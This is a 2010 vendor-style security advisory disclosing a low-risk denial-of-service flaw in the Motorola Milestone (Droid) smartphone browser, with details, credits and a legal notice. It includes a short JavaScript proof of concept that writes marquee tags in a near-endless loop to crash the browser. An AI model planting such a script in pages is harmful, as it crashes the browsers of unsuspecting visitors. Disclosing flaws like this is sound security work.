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Motorola Milestone Smartphone Denial of Service



Motorola Milestone Smartphone Denial of Service
Motorola Milestone Smartphone Denial of Service



[MajorSecurity Advisory #65]Motorola Milestone Smartphone Denial of Service=0D
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Details=0D
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Product: Motorola Milestone(Droid) Smartphone=0D
Security-Risk: low=0D
Remote-Exploit: yes=0D
Vendor-URL: http://www.motorola.com/=0D 
Vendor-Status: informed=0D
Advisory-Status: published on 02-02-2010=0D
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Credits=0D
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Discovered by: David Vieira-Kurz=0D
http://www.majorsecurity.info=0D 
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Affected Products:=0D
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Motorola Milestone(Droid) smartphone Browser with following useragent:=0D
Mozilla/5.0 (Linux; U; Android 2.0; de-de; Milestone Build/SHOLS_U2_01.03.1) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17=0D
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Original Advisory:=0D
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http://www.majorsecurity.info/index_2.php?adv=major_rls65=0D 
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Introduction=0D
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The Motorola Milestone(droid) is a smartphone produced by Motorola based on the android operation system.=0D
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More Details=0D
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A remotely exploitable vulnerability has been found in the JavaScript Engine of the MobileSafari Browser(based on Webkit Engine) used on the Motorola Milestone(droid) smartphone.=0D
In detail, the following flaw was determined:=0D
The Motorola Milestone(Droid) is prone to a denial of service vulnerability when parsing certain HTML content. =0D
This is possible due to a failure in handling exceptional conditions.=0D
This issue is caused by a memory corruption error when handling javascript elements,=0D
which could be exploited by remote attackers to crash the browser by tricking a user into visiting a specially crafted web page.=0D
This issue can NOT be lead to remote code execution, so that the potential security risk is rated low.=0D
=0D
The exploit has been tested on a Motorola Milestone(Droid) using following useragent:=0D
=0D
Mozilla/5.0 (Linux; U; Android 2.0; de-de; Milestone Build/SHOLS_U2_01.03.1) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17=0D
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Proof of Concept:=0D
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   <script>=0D
    var overloadtag = "<marquee>";=0D
    for(x=1;x<=9999999999999;x++){=0D
      document.write(overloadtag);=0D
    }=0D
   </script>=0D
=0D
MajorSecurity=0D
=================0D
MajorSecurity is a German penetrationtesting and security research company which focuses=0D
on web application security. We offer professional penetrationtestings, security audits,=0D
source code reviews and reliable proof of concepts. You will find more Information about MajorSecurity at http://www.majorsecurity.info/=0D 
Unaltered electronic reproduction of this advisory is permitted. For all other reproduction or publication, in printing or otherwise, contact david@majorsecurity.info for permission.=0D 
Use of the advisory constitutes acceptance for use in an "as is" condition. All warranties are excluded. In no event shall majorsecurity and David Vieira-Kurz IT Security Services be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if majorsecurity has been advised of the possibility of such damages. Copyright 2010 MajorSecurity and David Vieira-Kurz IT Security Services. All rights reserved. Terms of use apply. 


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